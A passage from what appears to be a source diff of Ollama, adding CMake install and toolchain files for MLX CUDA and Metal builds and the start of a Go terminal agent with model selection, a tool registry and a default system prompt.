+            device_atomic_functions.h
+            device_atomic_functions.hpp
+            device_double_functions.h
+            device_functions.h
+            device_launch_parameters.h
+            device_types.h
+            driver_functions.h
+            driver_types.h
+            fatbinary_section.h
+            host_config.h
+            host_defines.h
+            library_types.h
+            math_constants.h
+            math_functions.h
+            mma.h
+            nvrtc_device_runtime.h
+            sm_20_atomic_functions.h
+            sm_20_atomic_functions.hpp
+            sm_20_intrinsics.h
+            sm_20_intrinsics.hpp
+            sm_30_intrinsics.h
+            sm_30_intrinsics.hpp
+            sm_32_atomic_functions.h
+            sm_32_atomic_functions.hpp
+            sm_32_intrinsics.h
+            sm_32_intrinsics.hpp
+            sm_35_atomic_functions.h
+            sm_35_intrinsics.h
+            sm_60_atomic_functions.h
+            sm_60_atomic_functions.hpp
+            sm_61_intrinsics.h
+            sm_61_intrinsics.hpp
+            surface_indirect_functions.h
+            surface_types.h
+            target
+            texture_indirect_functions.h
+            texture_types.h
+            vector_functions.h
+            vector_functions.hpp
+            vector_types.h)
+        set(_mlx_jit_cuda_header_paths "")
+        foreach(_header IN LISTS _mlx_jit_cuda_headers)
+            if(EXISTS "${_cuda_inc}/${_header}")
+                list(APPEND _mlx_jit_cuda_header_paths "${_cuda_inc}/${_header}")
+            endif()
+        endforeach()
+        if(_mlx_jit_cuda_header_paths)
+            install(FILES ${_mlx_jit_cuda_header_paths}
+                DESTINATION ${_dst}
+                COMPONENT MLX)
+        endif()
+
+        foreach(_runtime_dir cooperative_groups crt)
+            if(EXISTS "${_cuda_inc}/${_runtime_dir}")
+                install(DIRECTORY "${_cuda_inc}/${_runtime_dir}"
+                    DESTINATION ${_dst}
+                    COMPONENT MLX)
+            endif()
+        endforeach()
+
+        if(NOT WIN32 AND NOT APPLE)
+            install(CODE "
+                set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
+                set(_target \"${OLLAMA_RUNNER_DIR}/include\")
+                if(NOT EXISTS \${_link})
+                    execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
+                endif()
+            " COMPONENT MLX)
+        endif()
+    endif()
+endif()
+
+# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
+# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
+# dlfcn-win32 is a known CMake target with its own install rules (which install
+# to the wrong destination). We must install it explicitly here.
+if(WIN32)
+    install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
+        DESTINATION ${OLLAMA_INSTALL_DIR}
+        COMPONENT MLX)
+endif()
+
+# Manually install CUDA runtime libraries that MLX loads via dlopen
+# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
+if(CUDAToolkit_FOUND)
+    file(GLOB MLX_CUDA_LIBS
+        "${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
+    if(MLX_CUDA_LIBS)
+        install(FILES ${MLX_CUDA_LIBS}
+            DESTINATION ${OLLAMA_INSTALL_DIR}
+            COMPONENT MLX_VENDOR)
+    endif()
+endif()

cmake/mlx/CMakePresets.json

@@ -0,0 +1,90 @@
+{
+  "version": 3,
+  "configurePresets": [
+    {
+      "name": "default",
+      "binaryDir": "${sourceDir}/../../build/mlx",
+      "installDir": "${sourceDir}/../../dist",
+      "cacheVariables": {
+        "CMAKE_BUILD_TYPE": "Release",
+        "CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
+        "OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_base",
+      "hidden": true,
+      "inherits": [ "default" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_FLAGS": "-t 2",
+        "OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_linux",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
+      "cacheVariables": {
+        "MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_windows",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
+      "cacheVariables": {
+        "MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_user_arch",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
+    },
+    {
+      "name": "mlx_metal_v3",
+      "inherits": [ "default" ],
+      "binaryDir": "${sourceDir}/../../build/metal-v3",
+      "cacheVariables": {
+        "CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
+        "OLLAMA_RUNNER_DIR": "mlx_metal_v3"
+      }
+    },
+    {
+      "name": "mlx_metal_v4",
+      "inherits": [ "default" ],
+      "binaryDir": "${sourceDir}/../../build/metal-v4",
+      "cacheVariables": {
+        "CMAKE_OSX_DEPLOYMENT_TARGET": "26.2",
+        "OLLAMA_RUNNER_DIR": "mlx_metal_v4"
+      }
+    }
+  ],
+  "buildPresets": [
+    {
+      "name": "mlx_cuda_v13_linux",
+      "configurePreset": "mlx_cuda_v13_linux",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_cuda_v13_windows",
+      "configurePreset": "mlx_cuda_v13_windows",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_cuda_v13_user_arch",
+      "configurePreset": "mlx_cuda_v13_user_arch",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_metal_v3",
+      "configurePreset": "mlx_metal_v3",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_metal_v4",
+      "configurePreset": "mlx_metal_v4",
+      "targets": [ "mlx", "mlxc" ]
+    }
+  ]
+}

cmake/vendor-mlx-c-headers.cmake

@@ -0,0 +1,14 @@
+if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
+    message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
+endif()
+if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
+    message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
+endif()
+
+file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
+if(NOT _mlx_c_headers)
+    message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
+endif()
+
+file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
+file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")

cmake/windows-arm64-llvm-mingw.cmake

@@ -0,0 +1,69 @@
+set(CMAKE_SYSTEM_NAME Windows)
+set(CMAKE_SYSTEM_PROCESSOR ARM64)
+
+set(_ollama_llvm_mingw_hints)
+if(DEFINED ENV{ProgramFiles})
+    file(GLOB _ollama_program_files_llvm_mingw_bins
+        LIST_DIRECTORIES true
+        "$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
+    list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
+    list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
+endif()
+if(DEFINED ENV{LOCALAPPDATA})
+    file(GLOB _ollama_winget_llvm_mingw_bins
+        LIST_DIRECTORIES true
+        "$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
+    list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
+    list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
+endif()
+
+if(NOT CMAKE_C_COMPILER)
+    find_program(CMAKE_C_COMPILER
+        NAMES aarch64-w64-mingw32-gcc
+        HINTS ${_ollama_llvm_mingw_hints}
+        REQUIRED)
+endif()
+
+if(NOT CMAKE_CXX_COMPILER)
+    find_program(CMAKE_CXX_COMPILER
+        NAMES aarch64-w64-mingw32-g++
+        HINTS ${_ollama_llvm_mingw_hints}
+        REQUIRED)
+endif()
+
+get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
+
+if(NOT HOST_CXX_COMPILER)
+    find_program(_ollama_path_host_cxx
+        NAMES clang++ g++
+        NO_CMAKE_FIND_ROOT_PATH)
+    if(_ollama_path_host_cxx)
+        set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
+    endif()
+endif()
+if(NOT HOST_CXX_COMPILER)
+    find_program(_ollama_mingw_host_cxx
+        NAMES x86_64-w64-mingw32-g++
+        HINTS "${_ollama_llvm_mingw_bin_dir}"
+        REQUIRED)
+    if(CMAKE_HOST_WIN32)
+        # llama.cpp builds a small host-only UI embedding tool during
+        # cross-compiles, but currently models HOST_CXX_COMPILER as only an
+        # executable path and has no companion host flags hook. When the host
+        # compiler is llvm-mingw, the generated host tool otherwise depends on
+        # llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
+        # explicit: wrap the compiler only to add -static for this host tool.
+        set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
+        file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
+        file(WRITE "${_ollama_host_cxx_wrapper}"
+            "@echo off\r\n"
+            "\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
+        set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
+    else()
+        set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
+    endif()
+endif()
+set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
+
+string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
+string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")

cmd/agent_tui.go

@@ -0,0 +1,863 @@
+package cmd
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"os"
+	"runtime"
+	"slices"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	coreagent "github.com/ollama/ollama/agent"
+	agenttools "github.com/ollama/ollama/agent/tools"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/cmd/config"
+	"github.com/ollama/ollama/cmd/launch"
+	agentchat "github.com/ollama/ollama/cmd/tui/chat"
+	"github.com/ollama/ollama/format"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+	"github.com/ollama/ollama/internal/modelref"
+	"github.com/ollama/ollama/types/model"
+)
+
+type agentTUIOptions struct {
+	Model               string
+	OpenModelPicker     bool
+	System              string
+	Format              string
+	Options             map[string]any
+	Think               *api.ThinkValue
+	KeepAlive           *api.Duration
+	ContextWindowTokens int
+	AllowAllTools       bool
+	ToolsDisabled       bool
+	MultiModal          bool
+}
+
+func registerAgentFlags(cmd *cobra.Command) {
+	cmd.Flags().String("model", "", "Model to use")
+	cmd.Flags().String("keepalive", "", "Duration to keep a model loaded (e.g. 5m)")
+	cmd.Flags().String("format", "", "Response format (e.g. json)")
+	cmd.Flags().String("think", "", "Enable thinking mode: true/false or high/medium/low for supported models")
+	cmd.Flags().Lookup("think").NoOptDefVal = "true"
+	cmd.Flags().Bool("auto-approve-tools", false, "Allow agent tools to run without prompting")
+	cmd.Flags().Bool("yolo", false, "Alias for --auto-approve-tools")
+	cmd.Flags().Bool("no-tools", false, "Disable agent tools")
+}
+
+func AgentHandler(cmd *cobra.Command, _ []string) error {
+	opts := agentTUIOptions{
+		Model:   strings.TrimSpace(config.LastModel()),
+		Options: map[string]any{},
+	}
+	thinkExplicit, err := applyAgentFlags(cmd, &opts)
+	if err != nil {
+		return err
+	}
+
+	if strings.TrimSpace(opts.Model) == "" {
+		opts.OpenModelPicker = true
+	} else if cmd.Flags().Lookup("model") == nil || !cmd.Flags().Lookup("model").Changed {
+		opts.OpenModelPicker = true
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	if opts.OpenModelPicker {
+		modelName, err := selectAgentModel(cmd.Context(), client, opts.Model)
+		if errors.Is(err, launch.ErrCancelled) {
+			return nil
+		}
+		if err != nil {
+			return err
+		}
+		opts.Model = modelName
+		opts.OpenModelPicker = false
+	}
+
+	if strings.TrimSpace(opts.Model) != "" {
+		info, err := prepareAgentModel(cmd, client, &opts, thinkExplicit)
+		if err != nil {
+			if handleCloudAuthorizationError(err) {
+				return nil
+			}
+			return err
+		}
+		opts.System = info.System
+		if err := saveLastAgentModel(opts.Model); err != nil {
+			return err
+		}
+	}
+
+	if err := GenerateAgentTUI(cmd, client, opts); err != nil {
+		if handleCloudAuthorizationError(err) {
+			return nil
+		}
+		return fmt.Errorf("error running agent: %w", err)
+	}
+	return nil
+}
+
+func applyAgentFlags(cmd *cobra.Command, opts *agentTUIOptions) (bool, error) {
+	if flag := cmd.Flags().Lookup("model"); flag != nil && flag.Changed {
+		modelName, err := cmd.Flags().GetString("model")
+		if err != nil {
+			return false, err
+		}
+		modelName = strings.TrimSpace(modelName)
+		if modelName == "" {
+			return false, errors.New("--model cannot be empty")
+		}
+		opts.Model = modelName
+		opts.OpenModelPicker = false
+	}
+
+	format, err := cmd.Flags().GetString("format")
+	if err != nil {
+		return false, err
+	}
+	opts.Format = format
+
+	thinkExplicit := false
+	thinkFlag := cmd.Flags().Lookup("think")
+	if thinkFlag != nil && thinkFlag.Changed {
+		thinkExplicit = true
+		thinkStr, err := cmd.Flags().GetString("think")
+		if err != nil {
+			return false, err
+		}
+		switch thinkStr {
+		case "", "true":
+			opts.Think = &api.ThinkValue{Value: true}
+		case "false":
+			opts.Think = &api.ThinkValue{Value: false}
+		case "high", "medium", "low", "max":
+			opts.Think = &api.ThinkValue{Value: thinkStr}
+		default:
+			return false, fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, low, or max)", thinkStr)
+		}
+	}
+
+	keepAlive, err := cmd.Flags().GetString("keepalive")
+	if err != nil {
+		return false, err
+	}
+	if keepAlive != "" {
+		d, err := time.ParseDuration(keepAlive)
+		if err != nil {
+			return false, err
+		}
+		opts.KeepAlive = &api.Duration{Duration: d}
+	}
+
+	autoApprove, err := cmd.Flags().GetBool("auto-approve-tools")
+	if err != nil {
+		return false, err
+	}
+	yolo, err := cmd.Flags().GetBool("yolo")
+	if err != nil {
+		return false, err
+	}
+	opts.AllowAllTools = autoApprove || yolo
+	toolsDisabled, err := cmd.Flags().GetBool("no-tools")
+	if err != nil {
+		return false, err
+	}
+	opts.ToolsDisabled = toolsDisabled
+	return thinkExplicit, nil
+}
+
+func saveLastAgentModel(model string) error {
+	model = strings.TrimSpace(model)
+	if model == "" {
+		return nil
+	}
+	return config.SetLastModel(model)
+}
+
+func prepareAgentModel(cmd *cobra.Command, client *api.Client, opts *agentTUIOptions, thinkExplicit bool) (*api.ShowResponse, error) {
+	requestedCloud := modelref.HasExplicitCloudSource(opts.Model)
+	info, err := func() (*api.ShowResponse, error) {
+		info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
+		var se api.StatusError
+		if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
+			if requestedCloud {
+				return nil, err
+			}
+			if err := PullHandler(cmd, []string{opts.Model}); err != nil {
+				return nil, err
+			}
+			return client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
+		}
+		return info, err
+	}()
+	if err != nil {
+		return nil, err
+	}
+
+	ensureCloudStub(cmd.Context(), client, opts.Model)
+	opts.Think, err = inferThinkingOption(&info.Capabilities, &runOptions{Model: opts.Model, Think: opts.Think}, thinkExplicit)
+	if err != nil {
+		return nil, err
+	}
+	opts.MultiModal = showResponseSupportsMultimodal(info)
+	opts.ContextWindowTokens = showResponseContextWindow(info)
+	return info, nil
+}
+
+func GenerateAgentTUI(cmd *cobra.Command, client *api.Client, opts agentTUIOptions) error {
+	cwd := agentWorkingDir()
+	contextWindowForModel := func(ctx context.Context, model string, fallback int) int {
+		return agentContextWindowForModel(ctx, client, model, fallback)
+	}
+
+	skillCatalog, err := coreagent.LoadDefaultSkills(cwd)
+	if err != nil {
+		return fmt.Errorf("load agent skills: %w", err)
+	}
+	for _, diagnostic := range skillCatalog.Diagnostics() {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m ignored invalid agent skill: %v\n", diagnostic)
+	}
+	var registry *coreagent.Registry
+	registryForModel := func(ctx context.Context, model string) *coreagent.Registry {
+		return agentToolsRegistry(ctx, client, model, skillCatalog)
+	}
+	if opts.Model != "" {
+		registry = agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
+	}
+	systemPrompt := agentSystemPromptWithWorkingDir(opts.Model, opts.System, agentSkillSystemContext(skillCatalog, registry, opts.ToolsDisabled), cwd)
+
+	_, err = agentchat.Run(cmd.Context(), agentchat.Options{
+		Model:                opts.Model,
+		Client:               client,
+		Tools:                registry,
+		ToolRegistryForModel: registryForModel,
+		ToolsDisabled:        opts.ToolsDisabled,
+		MultiModalForModel: func(ctx context.Context, model string) bool {
+			return agentModelSupportsMultimodal(ctx, client, model)
+		},
+		ModelOptions: func(ctx context.Context) ([]agentchat.ModelOption, error) {
+			return agentModelOptions(ctx, client)
+		},
+		OnModelSelected: func(_ context.Context, model string) error {
+			return config.SetLastModel(model)
+		},
+		SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry, toolsDisabled bool) string {
+			return agentSystemPromptWithWorkingDir(model, agentSystemFromShow(ctx, client, model), agentSkillSystemContext(skillCatalog, registry, toolsDisabled), cwd)
+		},
+		Skills:              skillCatalog,
+		SystemPrompt:        systemPrompt,
+		WorkingDir:          cwd,
+		Format:              opts.Format,
+		Options:             opts.Options,
+		Think:               opts.Think,
+		KeepAlive:           opts.KeepAlive,
+		MultiModal:          opts.MultiModal,
+		AllowAllTools:       opts.AllowAllTools,
+		ContextWindowTokens: opts.ContextWindowTokens,
+		Compactor: &coreagent.SimpleCompactor{
+			Client:  client,
+			Options: coreagent.CompactionOptions{ContextWindowTokens: opts.ContextWindowTokens},
+		},
+		ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
+			return contextWindowForModel(ctx, model, fallback)
+		},
+		PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) (int, error) {
+			return preloadAgentModelIfLocal(ctx, client, opts, model, think)
+		},
+		CheckCloudModel: func(ctx context.Context, model, requiredPlan string) error {
+			return ensureCloudModelAccess(ctx, client, model, requiredPlan)
+		},
+		OpenBrowser: launch.OpenBrowser,
+		PollCloudAuth: func(ctx context.Context) (string, bool, error) {
+			user, err := client.Whoami(ctx)
+			if err != nil {
+				return "", false, err
+			}
+			if user == nil || user.Name == "" {
+				return "", false, nil
+			}
+			return user.Name, true, nil
+		},
+	})
+	return err
+}
+
+func agentSkillSystemContext(catalog *coreagent.SkillCatalog, registry *coreagent.Registry, toolsDisabled bool) string {
+	if toolsDisabled || registry == nil {
+		return ""
+	}
+	if _, ok := registry.Get("skill"); !ok {
+		return ""
+	}
+	return catalog.SystemContext()
+}
+
+func selectAgentModel(ctx context.Context, client *api.Client, current string) (string, error) {
+	models, err := agentModelOptions(ctx, client)
+	if err != nil {
+		return "", err
+	}
+	if len(models) == 0 {
+		return "", errors.New("no models available, run 'ollama pull <model>' first")
+	}
+
+	items := agentSelectionItems(models)
+	switch {
+	case launch.DefaultSingleSelectorWithUpdates != nil:
+		return launch.DefaultSingleSelectorWithUpdates("Select model to run:", items, current, nil)
+	case launch.DefaultSingleSelector != nil:
+		return launch.DefaultSingleSelector("Select model to run:", items, current)
+	default:
+		return "", errors.New("no selector configured")
+	}
+}
+
+func agentSelectionItems(models []agentchat.ModelOption) []launch.SelectionItem {
+	items := make([]launch.SelectionItem, 0, len(models))
+	for _, model := range models {
+		items = append(items, launch.SelectionItem{
+			Name:              model.Name,
+			Description:       agentSelectionDescription(model),
+			Recommended:       model.Recommended,
+			AvailabilityBadge: model.AvailabilityBadge,
+		})
+	}
+	return items
+}
+
+func agentSelectionDescription(model agentchat.ModelOption) string {
+	return strings.TrimSpace(model.Description)
+}
+
+var agentGetwd = os.Getwd
+
+func agentWorkingDir() string {
+	cwd, err := agentGetwd()
+	if err != nil {
+		return ""
+	}
+	return cwd
+}
+
+func agentSystemPromptWithWorkingDir(modelName string, modelSystem string, extra string, workingDir string) string {
+	return agentSystemPromptAtWithWorkingDir(time.Now(), modelName, modelSystem, extra, workingDir)
+}
+
+func agentSystemPromptAtWithWorkingDir(now time.Time, modelName string, modelSystem string, extra string, workingDir string) string {
+	var parts []string
+	parts = append(parts, agentDefaultSystemPromptWithWorkingDir(now, modelName, workingDir))
+	if strings.TrimSpace(modelSystem) != "" {
+		parts = append(parts, strings.TrimSpace(modelSystem))
+	}
+	if strings.TrimSpace(extra) != "" {
+		parts = append(parts, strings.TrimSpace(extra))
+	}
+	return strings.Join(parts, "\n\n")
+}
+
+func agentDefaultSystemPromptWithWorkingDir(now time.Time, modelName string, workingDir string) string {
+	date := now.Format("Monday, January 2, 2006")
+	shellName := "bash"
+	if runtime.GOOS == "windows" {
+		shellName = "PowerShell"
+	}
+	parts := []string{
+		"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
+		"",
+		"Current date: " + date + ".",
+		"",
+	}
+	parts = append(parts,
+		"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
+		"",
+		"Use "+shellName+" carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
+		"",
+		"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
+	)
+	if workingDir != "" {
+		parts = append(parts, "Current working directory: "+strconv.Quote(workingDir)+".")
+	}
+	return strings.Join(parts, "\n")
+}
+
+func agentSystemFromShow(ctx context.Context, client *api.Client, modelName string) string {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return ""
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load model system prompt: %v\n", err)
+		return ""
+	}
+	return resp.System
+}
+
+func agentToolsRegistry(ctx context.Context, client *api.Client, modelName string, skillCatalog *coreagent.SkillCatalog) *coreagent.Registry {
+	supportsTools, err := agentModelSupportsTools(ctx, client, modelName)
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
+	}
+	if !supportsTools {
+		return nil
+	}
+
+	registry := &coreagent.Registry{}
+	if os.Getenv("OLLAMA_AGENT_DISABLE_SHELL") == "" {
+		registry.Register(&agenttools.Bash{})
+	}
+	registry.Register(&agenttools.Read{})
+	registry.Register(&agenttools.Edit{})
+	if len(skillCatalog.List()) > 0 {
+		registry.Register(&agenttools.Skill{Catalog: skillCatalog})
+	}
+
+	if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
+		if disabled, known := agentCloudStatusDisabled(ctx, client); !known || !disabled {
+			registry.Register(&agenttools.WebSearch{})
+			registry.Register(&agenttools.WebFetch{})
+		} else {
+			fmt.Fprintf(os.Stderr, "%s\n", internalcloud.DisabledError("web search is unavailable"))
+		}
+	}
+	return registry
+}
+
+func agentModelSupportsTools(ctx context.Context, client *api.Client, modelName string) (bool, error) {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return false, nil
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return false, err
+	}
+	return slices.Contains(resp.Capabilities, model.CapabilityTools), nil
+}
+
+func agentModelSupportsMultimodal(ctx context.Context, client *api.Client, modelName string) bool {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return false
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not check model capabilities: %v\n", err)
+		return false
+	}
+	return showResponseSupportsMultimodal(resp)
+}
+
+func showResponseSupportsMultimodal(resp *api.ShowResponse) bool {
+	if resp == nil {
+		return false
+	}
+	if slices.Contains(resp.Capabilities, model.CapabilityVision) || slices.Contains(resp.Capabilities, model.CapabilityAudio) {
+		return true
+	}
+	if len(resp.ProjectorInfo) != 0 {
+		return true
+	}
+	for key := range resp.ModelInfo {
+		if strings.Contains(key, ".vision.") {
+			return true
+		}
+	}
+	return false
+}
+
+func agentContextWindowForModel(ctx context.Context, client *api.Client, modelName string, fallback int) int {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return fallback
+	}
+	if tokens := loadedContextWindowForModel(ctx, client, modelName); tokens > 0 {
+		return tokens
+	}
+	if modelref.HasExplicitCloudSource(modelName) {
+		if tokens := agentRecommendationContextWindowForModel(ctx, client, modelName); tokens > 0 {
+			return tokens
+		}
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return fallback
+	}
+	if tokens := showResponseContextWindow(resp); tokens > 0 {
+		return tokens
+	}
+	return fallback
+}
+
+func agentRecommendationContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
+	if client == nil {
+		return 0
+	}
+	recs, err := client.ModelRecommendationsExperimental(ctx)
+	if err != nil || recs == nil {
+		return 0
+	}
+	return contextWindowFromRecommendations(modelName, recs.Recommendations)
+}
+
+func contextWindowFromRecommendations(modelName string, recommendations []api.ModelRecommendation) int {
+	for _, rec := range recommendations {
+		if rec.ContextLength <= 0 {
+			continue
+		}
+		if sameModelRef(modelName, rec.Model) {
+			return rec.ContextLength
+		}
+	}
+	return 0
+}
+
+func sameModelRef(a, b string) bool {
+	a = comparableModelRef(a)
+	b = comparableModelRef(b)
+	if strings.EqualFold(a, b) {
+		return true
+	}
+	pa, errA := modelref.ParseRef(a)
+	pb, errB := modelref.ParseRef(b)
+	if errA != nil || errB != nil {
+		return false
+	}
+	if !strings.EqualFold(pa.Base, pb.Base) {
+		return false
+	}
+	return pa.Source == pb.Source ||
+		pa.Source == modelref.ModelSourceUnspecified ||
+		pb.Source == modelref.ModelSourceUnspecified
+}
+
+func comparableModelRef(value string) string {
+	value = strings.TrimSpace(value)
+	if strings.HasSuffix(strings.ToLower(value), ":latest") {
+		return strings.TrimSpace(value[:len(value)-len(":latest")])
+	}
+	return value
+}
+
+func showResponseContextWindow(resp *api.ShowResponse) int {
+	if resp == nil {
+		return 0
+	}
+	if resp.Details.ContextLength > 0 {
+		return resp.Details.ContextLength
+	}
+	if n, ok := numericModelInfo(resp.ModelInfo["general.context_length"]); ok {
+		return n
+	}
+	best := 0
+	for key, value := range resp.ModelInfo {
+		if key != "context_length" && !strings.HasSuffix(key, ".context_length") {
+			continue
+		}
+		if n, ok := numericModelInfo(value); ok && n > best {
+			best = n
+		}
+	}
+	return best
+}
+
+func numericModelInfo(value any) (int, bool) {
+	switch v := value.(type) {
+	case int:
+		return v, v > 0
+	case int32:
+		return int(v), v > 0
+	case int64:
+		return int(v), v > 0
+	case uint:
+		return int(v), v > 0
+	case uint32:
+		return int(v), v > 0
+	case uint64:
+		return int(v), v > 0
+	case float64:
+		return int(v), v > 0
+	case string:
+		n, err := strconv.Atoi(strings.TrimSpace(v))
+		return n, err == nil && n > 0
+	default:
+		return 0, false
+	}
+}
+
+func preloadAgentModelIfLocal(ctx context.Context, client *api.Client, opts agentTUIOptions, modelName string, think *api.ThinkValue) (int, error) {
+	modelName = strings.TrimSpace(modelName)
+	if client == nil || modelName == "" {
+		return 0, nil
+	}
+	if modelref.HasExplicitCloudSource(modelName) {
+		return 0, nil
+	}
+	info, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		return 0, err
+	}
+	if info.RemoteHost != "" {
+		return 0, nil
+	}
+	if err := client.Generate(ctx, &api.GenerateRequest{
+		Model:     modelName,
+		KeepAlive: opts.KeepAlive,
+		Options:   opts.Options,
+		Think:     think,
+	}, func(api.GenerateResponse) error {
+		return nil
+	}); err != nil {
+		return 0, err
+	}
+	return loadedContextWindowForModel(ctx, client, modelName), nil
+}
+
+func loadedContextWindowForModel(ctx context.Context, client *api.Client, modelName string) int {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return 0
+	}
+	resp, err := client.ListRunning(ctx)
+	if err != nil {
+		return 0
+	}
+	return processContextWindowForModel(modelName, resp)
+}
+
+func processContextWindowForModel(modelName string, resp *api.ProcessResponse) int {
+	if resp == nil {
+		return 0
+	}
+	for _, running := range resp.Models {
+		if running.ContextLength <= 0 {
+			continue
+		}
+		if sameModelRef(modelName, running.Name) || sameModelRef(modelName, running.Model) {
+			return running.ContextLength
